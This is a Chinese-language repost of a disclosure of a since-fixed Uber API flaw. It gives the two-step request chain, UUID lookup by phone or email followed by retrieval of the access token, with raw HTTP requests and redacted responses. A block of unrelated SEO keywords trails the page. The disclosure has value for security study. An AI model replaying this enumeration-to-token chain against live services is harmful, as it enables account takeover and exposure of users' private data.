千家信息网

如何通过Uber API接口劫持任意Uber注册账户

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章给大家介绍如何通过Uber API接口劫持任意Uber注册账户,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。下面涉及的漏洞为Uber的任意账户劫持漏洞,漏洞影响Uber的
千家信息网最后更新 2025年12月02日如何通过Uber API接口劫持任意Uber注册账户

这篇文章给大家介绍如何通过Uber API接口劫持任意Uber注册账户,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

下面涉及的漏洞为Uber的任意账户劫持漏洞,漏洞影响Uber的司机、打车乘客(Rider)、第三方合作伙伴以及餐饮外送(Eats)注册账户,攻击者可通过一个Uber API接口获得用户注册账户的UUID,然后利用UUID通过另一Uber API接口发起请求,从其响应中获得与UUID对应账户的访问控制令牌(token)信息,从而实现账户劫持。

漏洞概况及影响

问题首先出在Uber的一个API接口中,如果在其POST请求中提供用户注册预留的手机号码或电邮地址,Uber后端服务即能响应返回相应用户账户的UUID号;之后,在另一Uber API接口中,通过利用获取的用户UUID号可进一步获取相应用户对Uber移动应用APP的访问控制令牌(Access Token),有了该访问控制令牌(token),可以对受害者发起账户劫持、位置跟踪、钱款交易和下载乘车路线等操作,严重危及受害者账户安全。

漏洞复现

步骤1 从API中获取任意Uber注册用户的UUID号

在Uber的以下API接口POST请求中,如果提供用户(第三方合作伙伴、乘客、餐饮外送注册账户)的注册预留手机号码或电子邮箱地址,请求执行后,在响应消息中我们将会获得用户的UUID号信息。如以下通过用户注册预留手机号码获取用户的UUID:

请求:

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1Host: partners.uber.com{"nationalPhoneNumber":"99999xxxxx","countryCode":"1"}

响应:

{    "status":"failure",    "data": {        "code":1009,        "message":"Driver '47d063f8-0xx5e-xxxxx-b01a-xxxx' not found"        }}

如果在请求中提供用户的注册预留手机号99999xxxxx,则响应消息中将返回用户的UUID号:'47d063f8-0xx5e-4eb4-xxx-xxxxxxx'。

以下通过用户注册预留的邮箱地址获取用户的UUID:

请求:

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1Host: partners.uber.com{"email":"xxx@gmail.com"}

响应:

{    "status":"failure",    "data": {        "code":1009,        "message":"Driver 'ca111b95-1111-4396-b907-83abxxx5f7371e' not found"    }}

用户注册预留电邮地址address xxx@gmail.com,同样Uber后端响应返回用户UUID号:'Ca111b95-1111-4396-b907-83abxxx5f7371e' 。

步骤 2 从另一API中获取UUID对应的访问控制令牌(token)

获取到上述任意用户UUID号之后,在另一Uber API接口中,通过利用获取的用户UUID号可进一步获取相应用户对Uber移动应用APP的访问控制令牌(Access Token)、地理位置、家庭地址等敏感信息。有了访问控制令牌(Access Token)后,也就能完全劫持任意Uber账户了,从受害者账户中可以看到他的乘车路线、打车请求、付款信息等等。以下为我的测试账号证明。

通过另一Uber API获得访问控制令牌(Access Token)等信息:

请求:

POST /marketplace/\_rpc?rpc=getConsentScreenDetails HTTP/1.1Host: bonjour.uber.comConnection: closeContent-Length: 67Accept: application/jsonOrigin: [https://bonjour.uber.com](https://bonjour.uber.com)x-csrf-token: xxxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36DNT: 1Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: xxxxx{"language":"en","userUuid":"xxxx-776-4xxxx1bd-861a-837xxx604ce"}

上述请求包含的UUID为:xxxx-776-4xxxx1bd-861a-837xxx604ce,以该身份执行请求后,Uber后端的响应如下:

{   "status":"success",   "data":{      "data":{         "language":"en",         "userUuid":"xxxxxx1e"      },      "getUser":{         "uuid":"cxxxxxc5f7371e",         "firstname":"Maxxxx",         "lastname":"XXXX",         "role":"PARTNER",         "languageId":1,         "countryId":77,         "mobile":null,         "mobileToken":1234,         "mobileCountryId":77,         "mobileCountryCode":"+91",         "hasAmbiguousMobileCountry":false,         "lastConfirmedMobileCountryId":77,         "email":"xxxx@gmail.com",         "emailToken":"xxxxxxxx",         "hasConfirmedMobile":"no",         "hasOptedInSmsMarketing":false,         "hasConfirmedEmail":true,         "gratuity":0.3,         "nickname":"abc@gmail.com",         "location":"00000",         "banned":false,         "cardio":false,         "token":"b8038ec4143bb4xxxxxx72d",         "fraudScore":0,         "inviterUuid":null,         "pictureUrl":"xxxxx.jpeg",         "recentFareSplitterUuids":[            "xxx"         ],         "lastSelectedPaymentProfileUuid":"xxxxxx",         "lastSelectedPaymentProfileGoogleWalletUuid":null,         "inviteCode":{            "promotionCodeId":xxxxx,            "promotionCodeUuid":"xxxx",            "promotionCode":"manishas105",            "createdAt":{               "type":"Buffer",               "data":[0,0,1,76,2,21,215,101]            },            "updatedAt":{               "type":"Buffer",               "data":[0,0,1,76,65,211,61,9]            }         },         "driverInfo":{            "contactinfo":"999999999xx",            "contactinfoCountryCode":"+91",            "driverLicense":"None",            "firstDriverTripUuid":null,            "iphone":null,            "partnerUserUuid":"xxxxxxx",            "receiveSms":true,            "twilioNumber":null,            "twilioNumberFormatted":null,            "cityknowledgeScore":0,            "createdAt":{               "type":"Buffer",               "data":[0,0,1,84,21,124,80,52]            },            "updatedAt":{               "type":"Buffer",               "data":[0,0,1,86,152,77,41,77]            },            "deletedAt":null,            "driverStatus":"APPLIED",            "driverFlowType":"UBERX",            "statusLocks":null,            "contactinfoCountryIso2Code":"KR",            "driverEngagement":null,            "courierEngagement":null         },         "partnerInfo":{            "address":"Nxxxxxxx",            "territoryUuid":"xxxxxx",            "company":"None",            "address2":"None",            "cityId":130,            "cityName":"None",            "firstPartnerTripUuid":null,            "preferredCollectionPaymentProfileUuid":null,            "phone":"",            "phoneCountryCode":"+91",            "state":"None",            "vatNumber":"None",            "zipcode":"None",            "createdAt":{               "type":"Buffer",               "data":[0,0,1,84,21,124,80,52]            },            "updatedAt":{               "type":"Buffer",               "data":[0,0,1,101,38,177,88,137               ]            },            "deletedAt":null,            "fleetTypes":[            ],            "fleetServices":[            ],            "isFleet":true         },         "analytics":{            "signupLat":133.28741199,            "signupLng":11177.1111,            "signupTerritoryUuid":"xxxxx",            "signupPromoId":null,            "signupForm":"iphone",            "signupSessionId":"xxxxxxx",            "signupAppVersion":"2.64.1",            "signupAttributionMethod":null,            "createdAt":{               "type":"Buffer",               "data":[0,0,1,76,2,21,219,1]            },            "updatedAt":{               "type":"Buffer",               "data":[0,0,1,76,2,21,219,1               ]            },            "signupCityId":130,            "signupDeviceId":null,            "signupReferralId":null,            "signupPromoCode":null,            "signupPromoCodeUuid":null,            "signupPromoUuid":null,            "signupMethod":"REGULAR"         },         "createdAt":{            "type":"Buffer",            "data":[0,0,1,76,2,21,215,153]         },         "updatedAt":{            "type":"Buffer",            "data":[0,0,1,102,81,35,153,135]         },         "deletedAt":null,         "tenancy":"uber/production",         "mobileConfirmationStatus":"MOBILE_NOT_CONFIRMED",         "nationalId":null,         "nationalIdType":null,         "merchantLocation":null,         "lastConfirmedMobile":"xxxxxxxxxx",         "requestedDeletionAt":null,         "dateOfBirth":xxxxxx,         "userTypes":null,         "preferredName":"xxxxxxxx",         "freightInfo":null,         "tempPictureUrl":null,         "identityVerified":null,         "paymentEntityType":null,         "riderEngagement":null,         "identityRejectReasonUuid":null,         "genderInferred":null,         "genderIdentity":null,         "genderDocumented":null,         "riderIneligibleWdw":null,         "defaultPaymentProfileByProduct":null,         "loginEligibility":null      },      "getDisclosureVersionUuid":"",      "getLocaleCopy":null   }}

可见,响应消息中返回与UUID对应账户的所有敏感信息,其中包括了用户对Uber移动应用APP的访问控制令牌信息,通过对该令牌信息的利用,即可实现对任意Uber账户的劫持。漏洞上报后,Uber方面及时通过对当前请求执行授权限制,并删除了响应消息中的敏感信息,以此修复了该漏洞。

关于如何通过Uber API接口劫持任意Uber注册账户就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

用户 账户 令牌 信息 接口 控制 漏洞 地址 用户注册 手机 消息 受害者 号码 手机号码 应用 移动 乘客 伙伴 位置 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中国网络安全核心技术发展方向 网络安全事故应急演练 网络技术沙龙图片 长垣卫华集团软件开发 上海人口管理系统软件开发 天津市流动人口数据库 专科毕业软件开发月薪 应急响应网络安全的预防 行政审批软件开发的请示 服务器释放 荣耀v40无法连接到服务器 数据库管理软件缩写 长沙致友软件开发公司 阿里云服务器 租用 软件开发管理项目系统管理表单 服务器显示不出来网卡驱动 如何在服务器管理添加服务 深圳市明源云链软件开发 扬州大学数据库老师 美国银行从事软件开发 网络技术相关的杂志 智慧教室网络安全 浙江米尚网络技术 网红 阿里云服务器内网有啥用 株洲it软件开发师培训机构 软件与信息服务跟软件开发一样吗 不属于关系数据库的范畴 软件开发管理项目系统管理表单 服务器租用 免备案 医院网络安全责任落实情况
0